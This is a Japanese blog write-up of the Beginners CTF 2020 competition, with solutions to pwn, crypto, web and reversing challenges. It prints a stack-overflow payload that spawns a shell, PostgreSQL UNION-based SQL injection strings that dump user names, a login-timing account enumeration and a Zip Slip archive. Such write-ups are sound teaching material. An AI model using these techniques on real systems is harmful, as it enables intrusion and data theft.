プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

Beginners CTF 2020 write-up

Beginners CTF 2020に、一人チームrotationで参加しました。 今回は自動化には主にPython3を使いました。

コンテスト概要

Rulesより引用:

競技は 2020/05/23 14:00 JST - 2020/05/24 14:00 JST の24時間開催されます
形式はJeopardyです
問題は解けたチーム数によって得点が変動し、変動があった場合は再計算されランキングに反映されます

結果

正の得点を取得した1009チーム中、2075ptで42位でした。

緑:解けた問題
一人チーム
去年のときと比べると奮闘できました。

環境

Windows+WSL(Ubuntu)で取り組みました。VirtualBox(Ubuntu)も準備していましたが今回は使いませんでした。

Windows

PS C:\> [System.Environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      18363  0

他ソフト

  • IDA(Free版) : Version 7.0.18021 Windows 64

WSL

$ uname -a
Linux DESKTOP-Win10-1 4.4.0-18362-Microsoft #836-Microsoft Mon May 05 16:04:00 PST 2020 x86_64 x86_64 x86_64 GNU/Linux
$ cat /proc/version
Linux version 4.4.0-18362-Microsoft (Microsoft@Microsoft.com) (gcc version 5.4.0 (GCC) ) #836-Microsoft Mon May 05 16:04:00 PST 2020
$ python3 --version
Python 3.6.9

解けた問題

[Pwn Beginner] Beginner's Stack

Let's learn how to abuse stack overflow!
nc bs.quals.beginners.seccon.jp 9001
  • 文中のリンクを踏むとzipファイルをDLできて、展開するとchallファイルが入っていた
  • とりあえずnsでつないで実行してみると、ものすごく丁寧な図が出てきた:
$ nc bs.quals.beginners.seccon.jp 9001
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffe09b016a0 | 0x00007f26ecb6a9a0 | <-- buf
                   +--------------------+
0x00007ffe09b016a8 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe09b016b0 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe09b016b8 | 0x00007f26ecd83170 |
                   +--------------------+
0x00007ffe09b016c0 | 0x00007ffe09b016d0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffe09b016c8 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffe09b016d0 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffe09b016d8 | 0x00007f26ec78ab97 | <-- return address (main)
                   +--------------------+
0x00007ffe09b016e0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffe09b016e8 | 0x00007ffe09b017b8 |
                   +--------------------+

Input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffe09b016a0 | 0x6161616161616161 | <-- buf
                   +--------------------+
0x00007ffe09b016a8 | 0x6161616161616161 |
                   +--------------------+
0x00007ffe09b016b0 | 0x6161616161616161 |
                   +--------------------+
0x00007ffe09b016b8 | 0x6161616161616161 |
                   +--------------------+
0x00007ffe09b016c0 | 0x6161616161616161 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffe09b016c8 | 0x6161616161616161 | <-- return address (vuln)
                   +--------------------+
0x00007ffe09b016d0 | 0x6161616161616161 | <-- saved rbp (main)
                   +--------------------+
0x00007ffe09b016d8 | 0x00007f26ec78ab0a | <-- return address (main)
                   +--------------------+
0x00007ffe09b016e0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffe09b016e8 | 0x00007ffe09b017b8 |
                   +--------------------+

/home/pwn/redir.sh: line 2: 28521 Segmentation fault      ./chall
  • 複数回実行してみると、スタックのアドレスは変化しているようだがwin関数のアドレス表示は不変なことに気づく
  • return addressをwin関数のアドレスで上書きしてみると、RSP is misaligned と言われる:
$ python3 -c 'import sys;sys.stdout.buffer.write(b"\x80"*8*5 + b"\x61\x08\x40\x00\x00\x00\x00\x00")' | nc bs.quals.beginners.seccon.jp 9001
(snip)
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007fffeea4f940 | 0x00007f2b88b849a0 | <-- buf
                   +--------------------+
0x00007fffeea4f948 | 0x0000000000000000 |
                   +--------------------+
0x00007fffeea4f950 | 0x0000000000000000 |
                   +--------------------+
0x00007fffeea4f958 | 0x00007f2b88d9d170 |
                   +--------------------+
0x00007fffeea4f960 | 0x00007fffeea4f970 | <-- saved rbp (vuln)
                   +--------------------+
0x00007fffeea4f968 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007fffeea4f970 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007fffeea4f978 | 0x00007f2b887a4b97 | <-- return address (main)
                   +--------------------+
0x00007fffeea4f980 | 0x0000000000000001 |
                   +--------------------+
0x00007fffeea4f988 | 0x00007fffeea4fa58 |
                   +--------------------+

Input:
   [ Address ]           [ Stack ]
                   +--------------------+
0x00007fffeea4f940 | 0x8080808080808080 | <-- buf
                   +--------------------+
0x00007fffeea4f948 | 0x8080808080808080 |
                   +--------------------+
0x00007fffeea4f950 | 0x8080808080808080 |
                   +--------------------+
0x00007fffeea4f958 | 0x8080808080808080 |
                   +--------------------+
0x00007fffeea4f960 | 0x8080808080808080 | <-- saved rbp (vuln)
                   +--------------------+
0x00007fffeea4f968 | 0x0000000000400861 | <-- return address (vuln)
                   +--------------------+
0x00007fffeea4f970 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007fffeea4f978 | 0x00007f2b887a4b97 | <-- return address (main)
                   +--------------------+
0x00007fffeea4f980 | 0x0000000000000001 |
                   +--------------------+
0x00007fffeea4f988 | 0x00007fffeea4fa58 |
                   +--------------------+

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!
  • ここでだいぶ悩む、volnのreturn addressでなくmainのreturn addressでwinに飛ばしてみたりするものの状況は同じ
  • しばらく考えてもだめだったので一旦他の問題に移る
  • 夜になって布団に潜っているときに、「volnもmainも、関数のエピローグがleave, retなわけだけど、leaveさせずにretすればスタックのアドレスが0x08ずれて正解できるのでは?」と思いつく
  • 翌朝目覚めた後に試す、volnのreturn addressを、mainのleaveの次のretにしてみる
  • 実行するとCongratulations!と無事表示された、ただしその後に起動されるシェルへの入出力をどうにかする必要があった
  • 自作ペイルードとcatを組み合わせると簡単そうなので組み合わせ方を調べる、cat -を使うと標準入力も混ぜられることが分かった
  • すべてを組み合わせたものを送信:
$ python3 -c 'import sys; sys.stdout.buffer.write(b"\x80"*8*5 + b"\x60\x08\x40\x00\x00\x00\x00\x00" + b"\x61\x08\x40\x00\x00\x00\x00\x00")' > payloard.bin
$ cat payloard.bin - | nc bs.quals.beginners.seccon.jp 9001
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007fff2675a870 | 0x0000000000000000 | <-- buf
                   +--------------------+
0x00007fff2675a878 | 0x0000000000000000 |
                   +--------------------+
0x00007fff2675a880 | 0x0000000000000000 |
                   +--------------------+
0x00007fff2675a888 | 0x00007ff27953e170 |
                   +--------------------+
0x00007fff2675a890 | 0x00007fff2675a8a0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007fff2675a898 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007fff2675a8a0 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007fff2675a8a8 | 0x00007ff278f45b97 | <-- return address (main)
                   +--------------------+
0x00007fff2675a8b0 | 0x0000000000000001 |
                   +--------------------+
0x00007fff2675a8b8 | 0x00007fff2675a988 |
                   +--------------------+

Input:
   [ Address ]           [ Stack ]
                   +--------------------+
0x00007fff2675a870 | 0x8080808080808080 | <-- buf
                   +--------------------+
0x00007fff2675a878 | 0x8080808080808080 |
                   +--------------------+
0x00007fff2675a880 | 0x8080808080808080 |
                   +--------------------+
0x00007fff2675a888 | 0x8080808080808080 |
                   +--------------------+
0x00007fff2675a890 | 0x8080808080808080 | <-- saved rbp (vuln)
                   +--------------------+
0x00007fff2675a898 | 0x0000000000400860 | <-- return address (vuln)
                   +--------------------+
0x00007fff2675a8a0 | 0x0000000000400861 | <-- saved rbp (main)
                   +--------------------+
0x00007fff2675a8a8 | 0x00007ff278f45b97 | <-- return address (main)
                   +--------------------+
0x00007fff2675a8b0 | 0x0000000000000001 |
                   +--------------------+
0x00007fff2675a8b8 | 0x00007fff2675a988 |
                   +--------------------+

Congratulations!
ls
chall
flag.txt
redir.sh
cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
  • フラグゲット: ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada} (tada ってなんだろう?)

[Crypto Beginner] R&B

Do you like rhythm and blues?
r_and_b.zip
  • リンクからzipをDLして展開すると、encoded_flagproblem.pyが入っていた
  • problem.py を見ると、rot13かbase64のどちらかを適用し、どちらを適用したかを先頭1文字で表すことを繰り返す処理だった:
from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")


def rot13(s):
    # snipped


def base64(s):
    # snipped


for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)
  • 逆演算を施せばフラグを得られる:
#!/usr/bin/env python3

import base64
import codecs

def unrot13(str):
    return codecs.decode(str, "rot13")
def unbase64(str):
    return base64.b64decode(str)

flag = "BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=="

while True:
    print(flag)
    if flag[0]=="R":
        flag = unrot13(flag[1:])
    elif flag[0]=="B":
        flag = unbase64(flag[1:]).decode("utf-8")
    else:
        break
  • 出力結果: ctf4b{rot_base_rot_base_rot_base_base}

[Crypto Easy] Noisy equations

noise hides flag.
nc noisy-equations.quals.beginners.seccon.jp 3000
noisy-equations.zip
  • zipをDLして展開するとproblem.pyが入っていた:
from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)
  • getrandbits(L)の値は、coeffs = ...行の地点ではseed未指定なのでランダムな数値に、answers = ...行の地点ではseed指定後なので固定値になることが分かる
  • 何回か実行してローカルに保存した:
$ nc noisy-equations.quals.beginners.seccon.jp 3000 > example1.txt
$ nc noisy-equations.quals.beginners.seccon.jp 3000 > example2.txt
  • 保存したtxtファイルを見るとNは44であることが分かった、また各数値は29925274825127997363782644629711120068833901189883530960730327521555653864863のオーダーの大きさである(そんな数値が44*44+44個あるのでtxtファイルのサイズが153KBに達する)
  • problem.pyを見直すと、44*44の係数行列をA、flagベクトルをx、seed指定後固定値のgetrandbits(L)ベクトルをb、answersベクトルをyとすると、Ax+b=yが成り立つことが分かる
  • ここでAとyは実行ごとに与えられるので既知、xは44要素の未知数、bも44要素の未知数なので、2回の実行結果を組み合わせて88個の連立方程式を立てれば良いことが分かる
  • 最初はnumpyのlinalg.solveを使おうと思っていたものの、小さな値では動くが、今回の問題のような大きな値だとTypeErrorになってしまった:
#!/usr/bin/env python3
# 注意: このコードはTypeErrorとなり解は得られない
from fractions import Fraction
import numpy as np

def read_sample_output(filename):
    with open(filename) as f:
        coeffs = eval(f.readline())
        answers = eval(f.readline())
        return (coeffs, answers)

(cs1, a1) = read_sample_output("example1.txt")
(cs2, a2) = read_sample_output("example2.txt")

assert len(cs1)==44
assert len(cs1[0])==44
assert len(a1)==44
assert len(cs2)==44
assert len(cs2[0])==44
assert len(a2)==44

def to_fraction(arr):
    return arr
    # return [Fraction(e) for e in arr]

N = len(cs1)
arr = []
for i in range(N):
    t = []
    for e in cs1[i]:
        t.append(e)
    for j in range(N):
        t.append(1 if i==j else 0)
    arr.append(to_fraction(t))
for i in range(N):
    t = []
    for e in cs2[i]:
        t.append(e)
    for j in range(N):
        t.append(1 if i==j else 0)
    arr.append(to_fraction(t))

A = np.array(arr)
b = to_fraction(a1 + a2)

print(A)
print(b)

# TypeError: No loop matching the specified signature and casting was found for ufunc solve1
x = np.linalg.solve(A, b)
print(x)
flag = x[0:44].decode("utf-8")
print(flag)
  • なお使っていたnumpyの詳細:
$ pip3 show numpy
Name: numpy
Version: 1.18.4
Summary: NumPy is the fundamental package for array computing with Python.
Home-page: https://www.numpy.org
Author: Travis E. Oliphant et al.
Author-email: None
License: BSD
Location: /home/tan/.local/lib/python3.6/site-packages
Requires:
  • (他の方のwriteupを見ていると、Fractionを使わずnumpy.arrayにdtype="float"を指定してやれば、この問題でも精度があるまま解ける模様)
  • 仕方がないのでnumpyを使うのを諦めて自前で行列演算する方法を探す、 Beginners CTF 2019 writeup - くれなゐの雑記 さんのコードをお借りした:
#!/usr/bin/env python3

from fractions import Fraction

def read_sample_output(filename):
    with open(filename) as f:
        coeffs = eval(f.readline())
        answers = eval(f.readline())
        return (coeffs, answers)

(cs1, a1) = read_sample_output("example1.txt")
(cs2, a2) = read_sample_output("example2.txt")

assert len(cs1)==44
assert len(cs1[0])==44
assert len(a1)==44
assert len(cs2)==44
assert len(cs2[0])==44
assert len(a2)==44

def inv_matrix(mat):
    aaa=0
    for row in range(len(mat)):
        # 時間のかかる処理なので適当なカウンター用、実行全体で12分くらいかかった
        print(aaa)
        aaa+=1

        tar = mat[row][row]
        for col in range(len(mat[row])):
            mat[row][col] /= tar
        for r in range(len(mat)):
            if r == row:
                continue
            boost = mat[r][row]
            for c in range(len(mat[r])):
                mat[r][c] -= mat[row][c] * boost
def to_fraction(arr):
    return [Fraction(e) for e in arr]

N = len(cs1)
mat = []
for i in range(N):
    t = []
    for e in cs1[i]:
        t.append(e)
    for j in range(N):
        t.append(1 if i==j else 0)
    t.append(a1[i])
    mat.append(to_fraction(t))
for i in range(N):
    t = []
    for e in cs2[i]:
        t.append(e)
    for j in range(N):
        t.append(1 if i==j else 0)
    t.append(a2[i])
    mat.append(to_fraction(t))

print(len(mat))
print(len(mat[0]))

inv_matrix(mat)
result = [r[-1] for r in mat]
print(result) # 実行時は↓の処理を書き間違えてAttributeErrorを起こしてしまっていた、ここで出力してて助かった
flag = bytes(x.numerator for x in result[0:44]).decode("utf-8")
print(flag)
  • 実行してフラグを取れた: ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}

[Web Beginner] Spy

As a spy, you are spying on the "ctf4b company".
You got the name-list of employees and the URL to the in-house web tool used by some of them.
Your task is to enumerate the employees who use this tool in order to make it available for social engineering.
  • 文中のリンクを踏むと、app.pyemployees.txtをDLできる
  • 問題文中のURLにアクセスすると、ログイン用ページとチャレンジ用ページがあった
  • 26名いる候補者リストの中で、データーベースに登録されている人の組み合わせを調べる必要がある問題らしい
  • employees.txtの内容は以下の通り:
Arthur
Barbara
Christine
David
Elbert
Franklin
George
Harris
Ivan
Jane
Kevin
Lazarus
Marc
Nathan
Oliver
Paul
Quentin
Randolph
Scott
Tony
Ulysses
Vincent
Wat
Ximena
Yvonne
Zalmon
  • app.pyの内容は以下の通り、処理時間を測定している箇所が多いのが目につく:
import os
import time

from flask import Flask, render_template, request, session

# Database and Authentication libraries (you can't see this :p).
import db
import auth

# ====================

app = Flask(__name__)
app.SALT = os.getenv("CTF4B_SALT")
app.FLAG = os.getenv("CTF4B_FLAG")
app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY")

db.init()
employees = db.get_all_employees()

# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    t = time.perf_counter()

    if request.method == "GET":
        return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t))

    if request.method == "POST":
        name = request.form["name"]
        password = request.form["password"]

        exists, account = db.get_account(name)

        if not exists:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
        # You know, it's really secure... isn't it? :-)
        hashed_password = auth.calc_password_hash(app.SALT, password)
        if hashed_password != account.password:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        session["name"] = name
        return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t))

# ====================

@app.route("/challenge", methods=["GET", "POST"])
def challenge():
    t = time.perf_counter()

    if request.method == "GET":
        return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t))

    if request.method == "POST":
        answer = request.form.getlist("answer")

        # If you can enumerate all accounts, I'll give you FLAG!
        if set(answer) == set(account.name for account in db.get_all_accounts()):
            message = app.FLAG
        else:
            message = "Wrong!!"

        return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t))

# ====================

if __name__ == '__main__':
    db.init()
    app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
  • ログイン成功時に dashboard.html に遷移するのでURLアクセスしてみると404、今回は追う必要がなさそう
  • ユーザー名一覧があればいいのでデータベースの場所をエスパーしようとするが分からない
  • しばらく別の問題に取り組む
  • ソース中の、ユーザー有無判定後の # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times. というコメントを思うと、登録済みユーザーだけ処理時間がかかるような印象を受ける
  • 各ユーザーの名前で(手作業で)ログインを試みると、明らかに処理時間に差があった:
Arthur:      It took 0.0002452 sec to load this page.
Barbara:     It took 0.0003254 sec to load this page.
Christine:   It took 0.0002161 sec to load this page.
David:       It took 0.0002534 sec to load this page.
Elbert:      It took 0.3435079 sec to load this page.
  • その調子で全ユーザーの名前で(手作業で)ログインを試みた
  • 0.1秒以上かかっているユーザーを元にチャレンジしてフラグゲット: ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}

[Web Easy] Tweetstore

Search your flag!
Server: https://tweetstore.quals.beginners.seccon.jp/
File: https://score.beginners.seccon.jp/files/tweetstore.zip-ba4fce11c55ef57568fbca33f73c5ce022cad1c2
  • Fileのzipを開くと、サーバー側のソース webserver.go が入っていた:
package main

import (
    "context"
    "fmt"
    "log"
    "os"
    "strings"
    "time"

    "database/sql"
    "html/template"
    "net/http"

    "github.com/gorilla/handlers"
    "github.com/gorilla/mux"

    _"github.com/lib/pq"
)

var tmplPath = "./templates/"

var db *sql.DB

type Tweets struct {
    Url        string
    Text       string
    Tweeted_at time.Time
}

func handler_index(w http.ResponseWriter, r *http.Request) {

    tmpl, err := template.ParseFiles(tmplPath + "index.html")
    if err != nil {
        log.Fatal(err)
    }

    var sql = "select url, text, tweeted_at from tweets"

    search, ok := r.URL.Query()["search"]
    if ok {
        sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
    }

    sql += " order by tweeted_at desc"

    limit, ok := r.URL.Query()["limit"]
    if ok && (limit[0] != "") {
        sql += " limit " + strings.Split(limit[0], ";")[0]
    }

    var data []Tweets


    ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
    defer cancel()

    rows, err := db.QueryContext(ctx, sql)
    if err != nil{
        http.Error(w, http.StatusText(500), 500)
        return
    }

    for rows.Next() {
        var text string
        var url string
        var tweeted_at time.Time

        err := rows.Scan(&url, &text, &tweeted_at)
        if err != nil {
            http.Error(w, http.StatusText(500), 500)
            return
        }
        data = append(data, Tweets{url, text, tweeted_at})
    }

    tmpl.Execute(w, data)
}

func initialize() {
    var err error

    dbname := "ctf"
    dbuser := os.Getenv("FLAG")
    dbpass := "password"

    connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
    db, err = sql.Open("postgres", connInfo)
    if err != nil {
        log.Fatal(err)
    }
}

func main() {

    initialize()

    r := mux.NewRouter()
    r.HandleFunc("/", handler_index).Methods("GET")

    http.Handle("/", r)
    http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux))
}
  • サーバーURLを開くと、データベースに保存されているSECCON Beginners(@ctf4b) のツイート200個の中から、検索内容と検索数を指定できて表示するページが出てきた
  • ソースから使用しているDBはpostgresであることが分かった、またフラグはユーザー名として使われていることが分かった
  • ソースを中に、検索内容と検索数をエスケープしているようなコードがあった:
if ok {
    sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}
(snip)
if ok && (limit[0] != "") {
    sql += " limit " + strings.Split(limit[0], ";")[0]
}
  • search側は'をエスケープして、limit側は複文を防止するようなコードになっている
  • ただし実際に検索内容に'を入力してみるとServerErrorになる、つまりエスケープ処理が間違っていることが分かった
  • SQLの構文を調べていると、PostgresSQLに限らずSQLにおけるquoteのエスケープは、バックスラッシュではなく''のように二重に記述することが正しいエスケープ方法だと分かった
  • 4.1. 字句の構造 によると、PostgreSQLでは U&"d\0061t\+000061" のようにU-prefixの文字列ではバックスラッシュのエスケープが可能であるが、今回はU-prefixではないのでバックスラッシュはメタ文字ではなく単なる1文字として解釈されていそう
  • 入力欄に ' and 1=0-- を入れると0件表示にできた
  • この問題ではユーザー名にフラグがあるので、PostgreSQLでユーザー一覧を持っている特殊な表があるかをググる
  • Command to list PostgreSQL user accounts? - Unix & Linux Stack Exchange を見つける、SELECT u.usename AS "User Name" FROM pg_catalog.pg_user uのようにすればSQLから取得できることが分かった
  • SQL InjectionではUNION SELECTを使うのが典型的なようなので union select null, null, null などを組み込んで試す、ただしことごとくServerErrorになる
  • サーバー側のコードを見直す、型付き変数を指定しているのでUNION内容も型に合わせる必要がありそうなことが分かった:
for rows.Next() {
    var text string
    var url string
    var tweeted_at time.Time

    err := rows.Scan(&url, &text, &tweeted_at)
    if err != nil {
        http.Error(w, http.StatusText(500), 500)
        return
    }
    data = append(data, Tweets{url, text, tweeted_at})
}
  • 最低限UNION出来る内容を調べる、 ' and 1=0 union select url, text, tweeted_at from tweets -- と型を合わせればUNIONできた
  • pg_catalog.pg_userusenameはstringだろうから、textの位置に突っ込もうと考える(このときurlがURL専用の型だと思いこんでいた、今見返すと単なるstringだった)
  • とにかく表示さえできればいいので直積を取る ' and 1=0 union select url, usename, current_date from tweets, pg_catalog.pg_user -- を入力する(tweeted_atをわざわざcurrent_dateに変えたけれど不要だった)
  • 無事フラグが表示された: ctf4b{is_postgres_your_friend?}
  • (後日気づいたけど、少しだけ加工すれば直積を取らずにフラグをゲットできた: ' and 1=0 union select usename, usename, current_date from pg_catalog.pg_user --)

[Web Easy] unzip

Unzip Your .zip Archive Like a Pro.
https://unzip.quals.beginners.seccon.jp/
Hint: index.php (sha1: 968357c7a82367eb1ad6c3a4e9a52a30eada2a7d)
Hint (updated at 5/23 17:30) docker-compose.yml
  • docker-compose.ymlの内容は以下の通り:
version: "3"

services:
  nginx:
    build: ./docker/nginx
    ports:
      - "127.0.0.1:$APP_PORT:80"
    depends_on:
      - php-fpm
    volumes:
      - ./storage/logs/nginx:/var/log/nginx
      - ./public:/var/www/web
    environment:
      TZ: "Asia/Tokyo"
    restart: always

  php-fpm:
    build: ./docker/php-fpm
    env_file: .env
    working_dir: /var/www/web
    environment:
      TZ: "Asia/Tokyo"
    volumes:
      - ./public:/var/www/web
      - ./uploads:/uploads
      - ./flag.txt:/flag.txt
    restart: always
  • おそらくWebサーバーは /var/www/web 以下で動いていて /flag.txt を読めればいいらしい
  • Webサイトを開くとzipファイルをアップロードする機能があった
  • 適当にzipを投げると、そのzip内容のファイル名一覧が表示され、ファイル名をクリックするとそのファイルの内容を表示してくれるものらしい
  • ここでzipの中の相対パスが表示されているので、Zip Slip攻撃が刺さりそう
  • Zip Slip用のzipファイルの生成方法をググると How to create a file to test Zip Slip Vulnerability from commandline - Stack Overflow を見つける
  • 攻撃用のzipファイルを作る:
$ touch ../../flag.txt
$ zip zipslip.zip ../../flag.txt
adding: ../../flag.txt (stored 0%)

[Reversing Beginner] mask

The price of mask goes down. So does the point (it's easy)!
  • 文中のリンクを踏むとzipファイルをDLできて、展開するとmaskファイルが入っていた
  • 内容確認:
$ file mask
mask: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=49166a467aee16fbfe167daf372d3263837b4887, for GNU/Linux 3.2.0, not stripped
  • 実行してみると、コマンドライン引数を与えると何か出力して比較しているものらしい:
$ ./mask ABC
Putting on masks...
A@A
ABC
Wrong FLAG. Try again.
  • 同じ文字列を繰り返し指定すると同じように出力されるので、文字の位置は無関係で文字種のみが出力に関わると予想した:
$ ./mask ABCABCABC
Putting on masks...
A@AA@AA@A
ABCABCABC
Wrong FLAG. Try again.
  • IDAで見てみると、何か色々処理した後に2つの文字列比較をして両者とも一致する場合が正しいフラグが分かった
  • 比較対象はASCII文字列で直書きされているので、総当りで試す:
#!/usr/bin/env python3

# maskに実際に与えた変換結果
orig = """{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ- _"""
enc1 = """qu0101454501a`adede`a`adedepqpqtutupqpA@ADEDE@A@ADEDEPQPQTUTUPQP% U"""
enc2 = """ki !"# !"#()abc`abchijkhijk`abc`abchijABC@ABCHIJKHIJK@ABC@ABCHIJ) K"""

m1 = {}
m2 = {}
for i in range(len(orig)):
    m1[orig[i]] = enc1[i]
    m2[orig[i]] = enc2[i]

result = ""
# strcmpでの比較対象の文字列2つ
cmp1 = """atd4`qdedtUpetepqeUdaaeUeaqau"""
cmp2 = """c`b bk`kj`KbababcaKbacaKiacki"""

while len(result) < len(cmp1):
    i = len(result)
    for c in orig:
        if cmp1[i]==m1[c] and cmp2[i]==m2[c]:
            result += c
            break
    else:
        print(f"Not found at {i}")
        break
print(result)
  • 出力結果: ctf4b{dont_reverse_face_mask}

[Reversing Easy] yakisoba

Would you like to have a yakisoba code?
(Hint: You'd better automate your analysis)
  • 文中のリンクを踏むとzipファイルをDLできて、展開するとyakisobaファイルが入っていた
  • 実行してみる、今度は実行中に標準入力で与える方式だった:
$ ./yakisoba
FLAG: test
Wrong!
  • IDAで見てみる、mainから呼んでいる関数が0を返すとCorrectらしい
  • 肝心の関数の内容は、以下のように巨大なもの:
    判定関数をIDAのGraph overviewで表示した様子
  • 各分岐はeaxに非0を入れてretするものが多い、ざっと見で0を返す場所を探すが見当たらず
  • 問題文のヒントもあることだし、昨年のReversing Linear Operation問題での雪辱を果たすべくangrを使おうと決意する
  • 不安どころとして、IDAでyakisobaを見ていたときはアドレス表示が.text:0000000000000680と小さいためPIEが有効になっている様子、angrではどう扱われるのかググる
  • how to use angr to solve ctf problem while the target elf has PIE? · Issue #757 · angr/angr にてangr will load it at a base address of 0x400000.との言及を見つけて安心する
  • angrをインストールした、今回使ったバージョンは以下:
$ pip3 show angr
Name: angr
Version: 8.20.1.7
Summary: A multi-architecture binary analysis toolkit, with the ability to perform dynamic symbolic execution and various static analyses on binaries
Home-page: https://github.com/angr/angr
Author: None
Author-email: None
License: UNKNOWN
Location: /home/tan/.local/lib/python3.6/site-packages
Requires: mulpyplexer, pyvex, progressbar2, networkx, cffi, unicorn, archinfo, GitPython, cle, rpyc, psutil, sortedcontainers, pycparser, itanium-demangler, ailment, protobuf, claripy, cachetools, dpkt, capstone
  • 自動化コードを書こうとするもののangrAPIの使い方が全然分からないのでググる、公式ドキュメントはどこを見たらいいのかわからないし、有名どころのセキュリティ系ブログの記事でもバージョンが古いものがありAPIが非互換だったりする
  • 結局 angstromCTF 2020 writeup - みつのCTF精進記録 さんのコードをほぼそのままお借りした:
#!/usr/bin/env python3

import angr

# > The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
# と表示してくれる
image_base = 0x400000
p = angr.Project('./yakisoba')

state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)

simgr.explore(find=image_base+0x06D2, avoid=image_base+0x06F7)
found = simgr.found[0]
print(found.posix.dumps(0))
  • 実行すると10秒ほどで出力された: b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\xd9\xd9\xd9\xd9' (angrを最低限使うだけならこのコード量で行けるんですね)
  • ASCII部分を取り出してフラグゲット: ctf4b{sp4gh3tt1_r1pp3r1n0} (ripperinoってどういった意味なんでしょう?)

[Reversing Medium] ghost

A program written by a ghost 👻
  • 問題文中のリンクを踏むとzipをDLできて、展開するとoutput.txtchall.gsが入っていた
  • output.txtの内容は数値列である:
3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094
  • chall.gsの内容は何かのプログラミング言語っぽい:
/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit
  • Ghost Scriptというやつかなあ、言語仕様どこかにあるのかなあ、とググる
